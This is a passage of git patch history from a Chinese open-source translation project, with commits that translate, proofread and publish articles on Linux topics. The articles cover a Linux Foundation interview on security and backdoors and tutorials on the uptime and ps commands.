ppa:diesch/testing + +接来下，运行下列命令安装它。 + + sudo apt-get update && sudo apt-get install classicmenu-indicator + +安装完成后，在Unity Dash中启动。它叫Classic Menu Indicator.当你启动它的时候，它会自动的嵌入顶部面板，如下图。 +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/classic-menu-indicator.png) + +就是这样，使用并享受吧！ +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipslike-gnome-classic-menu-get-classic-menu-indicator/ + +译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 359592d2a37d9b5a662783c06a8406d3ecff47d9 Mon Sep 17 00:00:00 2001 From: Vic___ Date: Tue, 3 Dec 2013 14:49:11 +0800 Subject: [PATCH 098/148] pick up a new one --- sources/How To Display And Set Hostname in Linux.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/How To Display And Set Hostname in Linux.md b/sources/How To Display And Set Hostname in Linux.md index 7725403ada..f450f47ebf 100644 --- a/sources/How To Display And Set Hostname in Linux.md +++ b/sources/How To Display And Set Hostname in Linux.md @@ -1,3 +1,4 @@ + Vic020不好意思的WC How To Display And Set Hostname in Linux ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/hostname-command-linux.jpg) From 4a710750512fcfa05fc2a19373081c36ff97557d Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Tue, 3 Dec 2013 15:56:59 +0800 Subject: [PATCH 099/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=B8=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...Uptime Command – Find How Long Your System Been Running.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/translated/Linux Uptime Command – Find How Long Your System Been Running.md b/translated/Linux Uptime Command – Find How Long Your System Been Running.md index 4b990d677a..a368a17c2c 100644 --- a/translated/Linux Uptime Command – Find How Long Your System Been Running.md +++ b/translated/Linux Uptime Command – Find How Long Your System Been Running.md @@ -35,7 +35,7 @@ Linux Uptime 命令，让你知道你的系统运行了多久 第三部分的信息是显示已登陆用户的数量。在图1中，显示的是**1 user** ，即当前登录用户数量。当多个用户在同时登陆系统时，uptime 命令将告诉你用户的数量。 -### 平均负载量 ### +### 平均负载量 ### 最后一个信息是系统的平均负载量。回到图1，你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比，即0.25和0.19分别代表着25%和19%。 19代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。 @@ -48,4 +48,4 @@ via: http://linoxide.com/linux-command/linux-uptime-command/ 译者：[NearTan](https://github.com/NearTan) 校对：[校对者ID](https://github.com/校对者ID) -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From e42c69aaae4c5043b35df0682c9de6f2e6b9cc52 Mon Sep 17 00:00:00 2001 From: l3b2w1 Date: Tue, 3 Dec 2013 16:28:51 +0800 Subject: [PATCH 100/148] translated --- ...d Linux is more secure than any other OS’.md | 91 +++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100644 translated/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md diff --git a/translated/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md b/translated/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md new file mode 100644 index 0000000000..71d29b2774 --- /dev/null +++ b/translated/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md @@ -0,0 +1,91 @@ +Linux 宗旨：‘开源很安全，Linux比其它任何系统都安全’ + +================================================================================ +在对Linux基金会执行官，Jim Zemlin 的采访中，VentureBeat 展望了2014开源操作系统的未来。 + +We also addressed the controversial issues of government spying and “backdoors” — those nefarious windows into our personal online lives that the public recently discovered in most of the services we use every day. + +我们也探讨了争议性的话题，就是政府部门的监听事件以及‘后门’-那些邪恶的窗口，窥探我们网上的私生活，最近公众发现我们经常使用的大多数服务都有类似的遭遇。 + +Zemlin gave us the skinny on how and why GNU/Linux remains the most secure option for concerned consumers — and why it’s becoming the OS of choice for powering cars, phones, TVs, and all kinds of emerging devices. +Zemlin 为我们解释了 GNU/Linux 为什么以及如何使自身成为内心有些担忧的消费者的最安全的选择。还有就是为什么选择GNU/Linux作为车载操作系统，TVs以及其他新兴设备的操作系统。 + +以下是我们e-mail问答形式的实录。 + +---------- + +**VentureBeat: 安全和隐私成为今年的热门话题，我们听到的谣言，Linus[Torvalds, Linux 创始人]对政府部门是否有安装后门的要求点头称是。** + +**Zemlin**: Linux是否有后门，你是可以知道的. + +世界上所有人都可以看到Linux的每一行代码。这也是linux要比其他操作系统更安全、开源整体要比闭源更安全的原因之一。代码的透明度保证了它的安全性。 + +And for the record: He wasn’t approached. +记录在案的是：后门并没有进入到linux。 + +**VentureBeat: Linux基金会如何保证Linux用户的隐私和自由，使其免于遭受追踪和监视？** + +**Zemlin**: 对此，我们一以贯之。向内核插入违反隐私权和背离自由精神的代码而不被成千上万的开发者注意到，这是很难的。Linux的本性就是自我定制。 + +**VentureBeat: 今年的隐私/安全/监视事件会不会促使, 或者将会促使更多的消费者倾向于Linux，对此你作何感想？** + +**Zemlin**: 世界范围内，我听到人们都在说，“用开源保证隐私是必须的。”的确，那会促使更多的使用者选择Linux。 + +除了他们对linux平台下的隐私和安全持自信、信任的态度以外， 我认为消费者会基于多种原因选择Linux。 +代码的透明性以及开发过程逐渐给予博学和警觉的消费者一个选择，一个会让他们对linux感觉良好的选择。 + +[视频游戏发行商] Valve [及其SteamOS下的工作][1] 正在促使更多的消费者走进Linux，就像逐渐占据主导的Android和其他运行Linux的电子设备一样，比如电视、家电、汽车等，当然还有更多。 + +**VentureBeat: 针对手机的Ubuntu Edge, 对它有何看法？ 对于2014-2015年Linux/Ubuntu手机市场走势，你作何预测？* + +**Zemlin**:我希望看到潜在的有趣的新产品进入市场，尤其是基于Linux的产品。很难说每年哪款产品会成为手机市场的新宠。 + +我认为预测基于Linux的手机将占据主导地位，不算夸大事实。Android, Tizen, Ubuntu, Firefox,等等等等，都显示出Linux可以驱动手机市场的创新，并且为消费者创造新的体验，为开发者和OEMs创造机会。 + +明年令人振奋的及我所关注的，就是，linux和开源界如何把这些设备、对象和服务关联到一起。 + +**VentureBeat: What’s the most exciting use case you’ve seen so far for Linux embedded in automobile systems?** +**VentureBeat: 目前为止，你看到的linux嵌入式车载系统的最令人激动的使用案例是什么？** + +**Zemlin**: 毫无疑问，就是，Cadillac, Tesla, Toyota, Jaguar, Land Rover等都搭建了车载信息娱乐系统。 + +比如，今年赢得了 “年度汽车族”奖项的Tesla Model S，装备了一个17英寸平面、运行着定制Linux的电脑。这真的是太酷了。 + +2014年度汽车族刚刚揭晓 -- Cadillac CTS sedan, 也是使用linux作为车载信息娱乐系统。汽车制造商有能力使用linux进行创新并区别使用这些系统。 + +Linux的成功也能从来自IHS汽车的最新数据上看到，IHS本月报告称，在全球车载信息娱乐市场，基于linux的汽车销量2020年有望达到5.37千万，超过微软和黑莓QNX。 + +Linux基金会协同汽车级Linux工作组在该领域做了许多工作。通过在Linux内核社区，其他开源社区，以及汽车行业，营造一个中立、支持性的环境，针对一些世界上大的汽车制造商如日产，捷豹，路虎，丰田，等等，我们可以帮助其推动汽车linux技术。 + +**VentureBeat: 在硬核开发者市场以外，Linux是如何发展壮大的，尤其是考虑到消费者和游戏玩家？** + +**Zemlin**:可以肯定的是，对游戏玩家来说，今年是linux的一个转折点。Valve, 基于Steam网络平台的一个游戏厂商，在linux上构建并运行所有的源代码和动画。Valve CEO Gabe Newell 称，今年的LinuxCon大会上他们在linux平台运行了198个游戏，随着引进基于linux的Stream，这个数字还会上升。这是Linux和游戏界新趋势的开端。 + +用户每天都在用linux。软件支撑着我们的日常生活。像Google，Facebook还有Twitter等公司，都建立在Linux和开源软件之上。去年10月份LinuxCon欧洲大会上，来自Twitter的Chris Aniszczyk告诉观众： +“Twitter 理所当然完全运行在linux上。为什么你们还需要其他的东西？”(言外之意就是有linux就够了，不需要别的什么东西了。) + +如今Linux驱动着130万台日常用Android手机，每天近60万基于linux的新电视售出。新的家电以及汽车都建立在linux之上。主要交通系统也都在使用linux。最受欢迎的[GoPro 使用linux和开源软件][2]。举不完的例子。 + +Linux和开源理念将会逐渐融入主流消费者的生活。三星使用linux内核以及基于linux的产品充实它的产品线，从电视机到手机，再到家电，等等等等。 + +敬请关注 - 你会看到更多的实例，无不展现出Linux和开源软件以及协同开发在日常生活中发挥越来越大的作用。 + +**VentureBeat: 在你看来，到2014年，免费和开源软件最大的机遇会是什么？** + +**Zemlin**: 我们已经谈到游戏和电子设备，但是企业将会继续为linux呈现更多的机会。云计算的兴起为开发者带来新的机遇和挑战。你试着去找找没有运行在linux上的公共云。 + +软件定义的网络实现将成为2014年的主要活动之一。人们并没有期望着软件定义网络以及网络功能虚拟化变得多么大。想想吧。数十亿美元花费在硬件上，交换机，路由，负载均衡器，防火墙等等。这些都抽象成了软件。更更重要的是,它是在开源软件的基础架构甜蜜点OSS层被抽象。我认为你会看到，像OpenDaylight项目以及其他项目，在2014年都会有大的突破。 + +当然，这只是实现协同发展的大趋势的一部分，你的读者应该会对此感兴趣。我的推测是再过一个20年，几乎所有的基础软件都会议协同开发的方式进行构建。2014年开发者需要学习如何以协同方式构建软件，要学会如何参与开源项目并且贡献代码。如果开发者能够理解协同开发和开源的原则和理念，那么他们职业生涯中的机遇将会是无穷的。 + +参与到linux的世界中来，这是一个激动人心的时刻。从智能手表到电视机，到汽车，所有你能想到的，Linux成为事实上的平台。 +-------------------------------------------------------------------------------- + +via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/ + +译者：[译者ID](https://github.com/l3b2w1) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/ +[2]:http://gopro.com/support/open-source \ No newline at end of file From f672775d13a62c0c880cffade0b6b1298eaf4734 Mon Sep 17 00:00:00 2001 From: l3b2w1 Date: Tue, 3 Dec 2013 16:30:35 +0800 Subject: [PATCH 101/148] =?UTF-8?q?Delete=20Linux=20chief--=E2=80=98Open?= =?UTF-8?q?=20source=20is=20safer,=20and=20Linux=20is=20more=20secure=20th?= =?UTF-8?q?an=20any=20other=20OS=E2=80=99.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...d Linux is more secure than any other OS’.md | 86 ------------------- 1 file changed, 86 deletions(-) delete mode 100644 sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md diff --git a/sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md b/sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md deleted file mode 100644 index 79dfa86652..0000000000 --- a/sources/Linux chief--‘Open source is safer, and Linux is more secure than any other OS’.md +++ /dev/null @@ -1,86 +0,0 @@ -l3b2w1 translating…… - -Linux chief: ‘Open source is safer, and Linux is more secure than any other OS -================================================================================ -In an interview with Linux Foundation executive director Jim Zemlin, VentureBeat got a bird’s-eye view of the future of the open-source operating system for 2014. - -We also addressed the controversial issues of government spying and “backdoors” — those nefarious windows into our personal online lives that the public recently discovered in most of the services we use every day. - -Zemlin gave us the skinny on how and why GNU/Linux remains the most secure option for concerned consumers — and why it’s becoming the OS of choice for powering cars, phones, TVs, and all kinds of emerging devices. - -Here’s our e-mail transcript in a bare-naked Q&A format. - ----------- - -**VentureBeat: Security and privacy has been the hottest topic this year, bar none. We’ve heard rumors that Linus [Torvalds, Linux creator] OK’d a Linux backdoor for the government.** - -**Zemlin**: If there were a backdoor in Linux, you’d know it. - -The whole world can see every line of code in Linux. This is one of the reasons Linux is more secure than other operating systems and why open-source software overall is a safer than closed software. The transparency of the code ensures it’s secure. - -And for the record: He wasn’t approached. - -**VentureBeat: How committed is the foundation to preserving Linux users’ privacy and freedom from tracking/surveillance?** - -**Zemlin**: As committed as we have always been. It’s very difficult to insert something into the kernel that would violate privacy and freedom without thousands of developers noticing. The nature of Linux is that it’s self-policing. - -**VentureBeat: Do you think there’s any chance that this year’s privacy/security/surveillance issues has driven or will drive more consumers toward Linux?** - -**Zemlin**: Around the world, I am hearing people say, “Using open source is a critical to ensure privacy.” So yes, I think that will drive more users people to Linux. - -I also think more consumers are being driven toward Linux for a variety of reasons, in addition to the confidence and trust they have about privacy and security related to the platform. The transparency of the code and development process gives increasingly knowledgeable and aware consumers an option they feel good about. - -[Video game publisher] Valve and [its work on SteamOS][1] is driving more consumers to Linux, as is the ongoing dominance of Android and other consumer devices that run Linux — from televisions to appliances, cars, and more. - -**VentureBeat: Do you have any thoughts on the Ubuntu Edge for phones? Where do you see the market for Linux/Ubuntu phones going in 2014-2015?** - -**Zemlin**: I like seeing potentially interesting new products go to market, especially when they’re Linux-based. It is hard to predict what product will produce a big hit in the phone market from year to year. - -I don’t think it is a stretch to predict phones based on Linux will dominate. Android, Tizen, Ubuntu, Firefox, and more show that Linux can drive innovation in the mobile market and create new experiences for consumers and market opportunities for developers and OEMs. - -What’s exciting about the year ahead, and what I’ll be watching, is how Linux and open source will help connect all of these devices, objects, and services together. - -**VentureBeat: What’s the most exciting use case you’ve seen so far for Linux embedded in automobile systems?** - -**Zemlin**: No question it’s the in-vehicle-infotainment systems being built by Cadillac, Tesla, Toyota, Jaguar, Land Rover, and others. - -For example, the Tesla Model S, which won the Motor Trend Car of the Year [honor] in 2013, features a 17-inch flat-screen computer running a custom-built Linux OS. This is really, really cool stuff. - -And the 2014 Motor Trend Car of the Year was just revealed — the Cadillac CTS sedan — and it also uses Linux for its in-vehicle-infotainment system. Car makers are able to innovate and differentiate with these systems using Linux. - -The success of Linux here can be seen in the latest numbers from IHS Automotive, which reported this month that sales of automotive Linux are expected to rise to 53.7 million units in 2020, passing Microsoft and Blackberry QNX in the global automotive infotainment market. - -The Linux Foundation does a lot of work in this area with its Automotive Grade Linux workgroup. By hosting a neutral, supportive environment among the Linux kernel community, other open-source communities, and the automotive industry, we’re able to help advance automotive Linux technologies among some of the world’s largest automakers including Nissan, Jaguar, Land Rover, Toyota, and more. - -**VentureBeat: How is Linux growing beyond the hardcore developer market, especially with regard to consumers and gamers?** - -**Zemlin**: This year has been a turning a point for Linux with gamers for sure. Valve, the gaming company behind the Steam web platform for Linux, builds and runs all of its source code and animation on Linux. Valve’s CEO Gabe Newell reported at LinuxCon this year that they’re running 198 games on Linux, and with the introduction of the Linux-based Steam, that number will only continue to go up. This is the beginning of a new trend for Linux and gaming. - -Consumers use Linux every day. It is the software that runs our lives. Companies like Google, Facebook, and Twitter are built on Linux and open-source software. At our LinuxCon Europe conference in October, Twitter’s Chris Aniszczyk told the audience: “Twitter is of course all running on Linux. Why would you need anything else?” - -Linux now powers the 1.3 million Android phones that are activated daily, and most of the nearly 600,000 new TVs sold every day. New appliances and cars are being built with Linux. Major transportation systems use the operating system. The superpopular [GoPro uses Linux and open source][2]. The examples are endless. - -And Linux and open source will just keep reaching more into mainstream consumer life. Samsung uses the Linux kernel and Linux-based products throughout its product line, from TVs to phones to home appliances and more. - -Stay tuned — you’ll see more coming that illustrates the growing role of Linux and open source software and collaborative development in everyday life. - -**VentureBeat: What are the biggest opportunities for free and open-source software in 2014, in your opinion?** - -**Zemlin**: We’ve talked about gaming and consumer devices, but the enterprise continues to present even more opportunity for Linux. The rise of cloud computing is creating new challenges for developers and new opportunities for growth. Try to find a public cloud that’s not running Linux. - -The realization of years of promise in software defined networking will be one of the major stories of 2014. People don’t appreciate how big software defined networking and network function virtualization will become. Think about it. Billions of dollars are spent on hardware based switches, routers, load balancers, firewalls, etc.; this is all being abstracted into software. More importantly it is being abstracted via open source software in the sweet spot for OSS which is at this infrastructure layer. I think you’ll see projects like OpenDaylight and others have a big breakout year in 2014. - -Of course, this is all part of a broader trend towards collaborative development, which should be of interest to your readers. I’d predict that in another decade nearly all of infrastructure software will be built collaboratively. Developers in 2014 need to learn how to build software collaboratively and how to work on and contribute to open source software projects. Their career opportunities will be endless if they understand the principles of collaborative development and open source software. - -It’s a thrilling time to be involved in Linux. It’s become the de facto platform to go to for everything from smart watches to TVs to automobiles, you name it. - --------------------------------------------------------------------------------- - -via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/ -[2]:http://gopro.com/support/open-source \ No newline at end of file From 9525245bf5c0545f672ad46e0acc1bffeec593db Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Tue, 3 Dec 2013 16:39:17 +0800 Subject: [PATCH 102/148] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... Find How Long Your System Been Running.md | 22 +++++++++---------- 1 file changed, 10 insertions(+), 12 deletions(-) diff --git a/translated/Linux Uptime Command – Find How Long Your System Been Running.md b/translated/Linux Uptime Command – Find How Long Your System Been Running.md index a368a17c2c..60347d7c22 100644 --- a/translated/Linux Uptime Command – Find How Long Your System Been Running.md +++ b/translated/Linux Uptime Command – Find How Long Your System Been Running.md @@ -2,43 +2,41 @@ Linux Uptime 命令，让你知道你的系统运行了多久 ================================================================================ ![](http://linoxide.com/wp-content/uploads/2013/11/linux-uptime-command.png) - -系统运行了多久对于一些人来说是无关紧要的，但是对于服务器管理员来说，这是相当重要的信息。服务器在运行重要的应用的时候，必须尽量保证长时间的稳定运行，有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了多久呢？ +对于一些人来说系统运行了多久是无关紧要的，但是对于服务器管理员来说，这是相当重要的信息。服务器在运行重要应用的时候，必须尽量保证长时间的稳定运行，有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了多久呢？ 在Linux 下，我们可以使用uptime 命令，而且此命令不必使用root 权限。uptime 命令在系统中已经默认安装了。 -语法就像这样： +语法如下： $ uptime -你会在屏幕上看到类似这样的显示： +你会在屏幕上看到如下显示： ![](http://linoxide.com/wp-content/uploads/2013/11/uptime.png) -这些信息保存在/proc/uptime 文件中，虽然是以文本方式保存，但是这些数据却不能直接显示，需要我们使用uptime 命令来翻译它。 +这些信息保存在/proc/uptime 文件中，虽然是以文本方式保存，但是这些数据却不能直接显示，这就需要我们使用uptime 命令来翻译它。 -下面来讲解如何解读运行uptime 命令后显示的信息： +以下是如何解读uptime 提供的信息： ### 系统时间 ### -在图1中，左起第一个信息是14:04:39，这就是当前系统时间，以24小时格式输出。 +在图1中，左起第一条信息是14:04:39，这就是当前系统时间，以24小时格式输出。 ### 系统运行时间 ### -第二个信息**Up 1004 days, 12:20**，这是显示你的系统运行的时间。这里显示的是到目前（即第一个时间）为止，你的系统运行了1004天12小时20分钟，如果你的系统没有运行超过24小时，这里将只会显示小时分钟或者只显示分钟。注意图2、图3的信息，当系统重启后将会清零。 +第二条信息**Up 1004 days, 12:20**，这是显示你的系统运行时间。图1 显示你的系统已经运行了1004天12小时20分钟，如果你的系统没有运行超过24小时，这里将只会显示小时分钟或者只显示分钟。注意图2、图3的信息，当系统重启后将会清零。 ![](http://linoxide.com/wp-content/uploads/2013/11/uptime_minutes.png) ![](http://linoxide.com/wp-content/uploads/2013/11/uptime_hours1.png) -### 已登陆用户的数量 ### +### 已登录用户的数量 ### 第三部分的信息是显示已登陆用户的数量。在图1中，显示的是**1 user** ，即当前登录用户数量。当多个用户在同时登陆系统时，uptime 命令将告诉你用户的数量。 ### 平均负载量 ### -最后一个信息是系统的平均负载量。回到图1，你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比，即0.25和0.19分别代表着25%和19%。 -19代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。 +最后一个信息是系统的平均负载量。回到图1，你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比，即0.25和0.19分别代表着25%和19%。0.25, 0.25, 0.19分别代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。 这就是**uptime** 命令的日常使用指导，如果想获取更详细的信息，请通过输入**man uptime** 进入uptime 命令的manual 页面来查看。 @@ -46,6 +44,6 @@ Linux Uptime 命令，让你知道你的系统运行了多久 via: http://linoxide.com/linux-command/linux-uptime-command/ -译者：[NearTan](https://github.com/NearTan) 校对：[校对者ID](https://github.com/校对者ID) +译者：[NearTan](https://github.com/NearTan) 校对：[Caroline](https://github.com/carolinewuyan) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 5b1bd173e4abdb9091932feaac3d8c6fd5cd7c4c Mon Sep 17 00:00:00 2001 From: wxy Date: Tue, 3 Dec 2013 22:41:53 +0800 Subject: [PATCH 103/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ALinux=20Upti?= =?UTF-8?q?me=20Command=20=E2=80=93=20Find=20How=20Long=20Your=20System=20?= =?UTF-8?q?Been=20Running?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...Uptime Command – Find How Long Your System Been Running.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) rename {translated => published}/Linux Uptime Command – Find How Long Your System Been Running.md (96%) diff --git a/translated/Linux Uptime Command – Find How Long Your System Been Running.md b/published/Linux Uptime Command – Find How Long Your System Been Running.md similarity index 96% rename from translated/Linux Uptime Command – Find How Long Your System Been Running.md rename to published/Linux Uptime Command – Find How Long Your System Been Running.md index 60347d7c22..ff67f5e0d9 100644 --- a/translated/Linux Uptime Command – Find How Long Your System Been Running.md +++ b/published/Linux Uptime Command – Find How Long Your System Been Running.md @@ -34,12 +34,14 @@ Linux Uptime 命令，让你知道你的系统运行了多久 第三部分的信息是显示已登陆用户的数量。在图1中，显示的是**1 user** ，即当前登录用户数量。当多个用户在同时登陆系统时，uptime 命令将告诉你用户的数量。 -### 平均负载量 ### +### 平均负载量 ### 最后一个信息是系统的平均负载量。回到图1，你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比，即0.25和0.19分别代表着25%和19%。0.25, 0.25, 0.19分别代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。 这就是**uptime** 命令的日常使用指导，如果想获取更详细的信息，请通过输入**man uptime** 进入uptime 命令的manual 页面来查看。 +你的机器已经运行多久了？贴出你的uptime给大家看看吧。 + -------------------------------------------------------------------------------- via: http://linoxide.com/linux-command/linux-uptime-command/ From 1731b20653bf37195ea12721ff408f9431a9764f Mon Sep 17 00:00:00 2001 From: geekpi Date: Wed, 4 Dec 2013 01:16:29 +0000 Subject: [PATCH 104/148] [Translating] 10 basic examples of Linux ps command --- sources/10 basic examples of Linux ps command.md | 3 +++ 1 file changed, 3 insertions(+) mode change 100644 => 100755 sources/10 basic examples of Linux ps command.md diff --git a/sources/10 basic examples of Linux ps command.md b/sources/10 basic examples of Linux ps command.md old mode 100644 new mode 100755 index 6ae3cd36c1..62a5e44e5a --- a/sources/10 basic examples of Linux ps command.md +++ b/sources/10 basic examples of Linux ps command.md @@ -1,3 +1,6 @@ +translating-----------------geekpi + + 10 basic examples of Linux ps command ================================================================================ ### Linux ps command ### From 5b4cfbb7fcafd9d9b84205beadb79ddb60da7fa4 Mon Sep 17 00:00:00 2001 From: geekpi Date: Wed, 4 Dec 2013 02:47:37 +0000 Subject: [PATCH 105/148] [Translated] 10 basic examples of Linux ps command --- .../10 basic examples of Linux ps command.md | 218 ------------------ .../10 basic examples of Linux ps command.md | 216 +++++++++++++++++ 2 files changed, 216 insertions(+), 218 deletions(-) delete mode 100755 sources/10 basic examples of Linux ps command.md create mode 100755 translated/10 basic examples of Linux ps command.md diff --git a/sources/10 basic examples of Linux ps command.md b/sources/10 basic examples of Linux ps command.md deleted file mode 100755 index 62a5e44e5a..0000000000 --- a/sources/10 basic examples of Linux ps command.md +++ /dev/null @@ -1,218 +0,0 @@ -translating-----------------geekpi - - -10 basic examples of Linux ps command -================================================================================ -### Linux ps command ### - -The ps command on linux is one of the most basic commands for viewing the processes running on the system. It provides a snapshot of the current processes along with detailed information like user id, cpu usage, memory usage, command name etc. It does not display data in real time like top or htop commands. But even though being simpler in features and output it is still an essential process management/monitoring tool that every linux newbie should know about and learn well. - -In this post we are going to revise the basics of using the ps command to check the processes and filter and sort them in different ways to suit better. - -### Note on syntax ### - -The ps command comes with an unusual set of 2 syntax styles. That is BSD and UNIX both. New users are often confused with and mis-interpret the two styles. So here is some basic info to get it clear before moving on. - -> Note : "ps aux" is not the same as "ps -aux". For example "-u" is used to show process of that user. But "u" means show detailed information. - -BSD style - The options in bsd style syntax are not preceded with a dash. - - ps aux - -UNIX/LINUX style - The options in linux style syntax are preceded by a dash as usual. - - ps -ef - -It is okay to mix both the syntax styles on linux systems. For example "ps ax -f". -But in this post we shall mostly focus on the unix style syntax. - -### How to use ps command ### - -#### 1. Display all processes #### - -The following command will give a full list of processes - - $ ps ax - $ ps -ef - -Pipe the output to "less" to make it scrollable. - -Use the "u" option or "-f" option to display detailed information about the processes - - $ ps aux - $ ps -ef -f - -> Why is the USER column not displaying my username, but showing others like root, www-data etc ? - -For all usernames (including yours) if the length is greater than 8 characters then ps will fall back to show only the UID instead of username. - -#### 2. Display process by user #### - -To filter the processes by the owning user use the "-u" option followed by the username. Multiple usernames can be provided separated by a comma. - - $ ps -f -u www-data - UID PID PPID C STIME TTY TIME CMD - www-data 1329 1328 0 09:32 ? 00:00:00 nginx: worker process - www-data 1330 1328 0 09:32 ? 00:00:00 nginx: worker process - www-data 1332 1328 0 09:32 ? 00:00:00 nginx: worker process - www-data 1377 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost - www-data 1378 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost - www-data 4524 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start - www-data 4527 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start - www-data 4528 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start - -#### 3. Show process by name or process id #### - -To search the processes by their name or command use the "-C" option followed by the search term. - - $ ps -C apache2 - PID TTY TIME CMD - 2359 ? 00:00:00 apache2 - 4524 ? 00:00:00 apache2 - 4525 ? 00:00:00 apache2 - ... - -To display processes by process id, use the "-p" option and provides the process ids separated by comma. - - $ ps -f -p 3150,7298,6544 - -The "-C" must be provided with the exact process name and it cannot actually search with a partial name or wildcard. To search the process list more flexibly, the usual grep command has to be used - - $ ps -ef | grep apache - -#### 4. Sort process by cpu or memory usage #### - -System administrators often want to find out processes that are consuming lots of memory or CPU. The sort option will sort the process list based on a particular field or parameter. - -Multiple fields can be specified with the "--sort" option separated by a comma. Additionally the fields can be prefixed with a "-" or "+" symbol indicating descending or ascending sort respectively. There are lots of parameters on which the process list can be sorted. Check the man page for the complete list. - - $ ps aux --sort=-pcpu,+pmem - -Display the top 5 processes consuming most of the cpu. - - $ ps aux --sort=-pcpu | head -5 - USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND - root 1 2.6 0.7 51396 7644 ? Ss 02:02 0:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 23 - root 1249 2.6 3.0 355800 30896 tty1 Rsl+ 02:02 0:02 /usr/bin/X -background none :0 vt01 -nolisten tcp - root 508 2.4 1.6 248488 16776 ? Ss 02:02 0:03 /usr/bin/python /usr/sbin/firewalld --nofork - silver 1525 2.1 2.3 448568 24392 ? S 02:03 0:01 /usr/bin/python /usr/share/system-config-printer/applet.py - -#### 5. Display process hierarchy in a tree style #### - -Many processes are actually forked out of some parent process, and knowing this parent child relationship is often helpful. The '--forest' option will construct an ascii art style tree view of the process hierarchy. - -The following command will search for processes by the name apache2 and construct a tree and display detailed information. - - $ ps -f --forest -C apache2 - UID PID PPID C STIME TTY TIME CMD - root 2359 1 0 09:32 ? 00:00:00 /usr/sbin/apache2 -k start - www-data 4524 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start - www-data 4525 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start - www-data 4526 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start - www-data 4527 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start - www-data 4528 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start - -> Try not to use any sorting with the tree style display, as they both effect the order of display in different ways. - -#### 6. Display child processes of a parent process #### - -Here is an example of finding all forked apache processes. - - $ ps -o pid,uname,comm -C apache2 - PID USER COMMAND - 2359 root apache2 - 4524 www-data apache2 - 4525 www-data apache2 - 4526 www-data apache2 - 4527 www-data apache2 - 4528 www-data apache2 - [term] - - The first process that is owned by root is the main apache2 process and all other apache2 processes have been forked out of this main process. The next command lists all child apache2 processes using the pid of the main apache2 process - - [term] - $ ps --ppid 2359 - PID TTY TIME 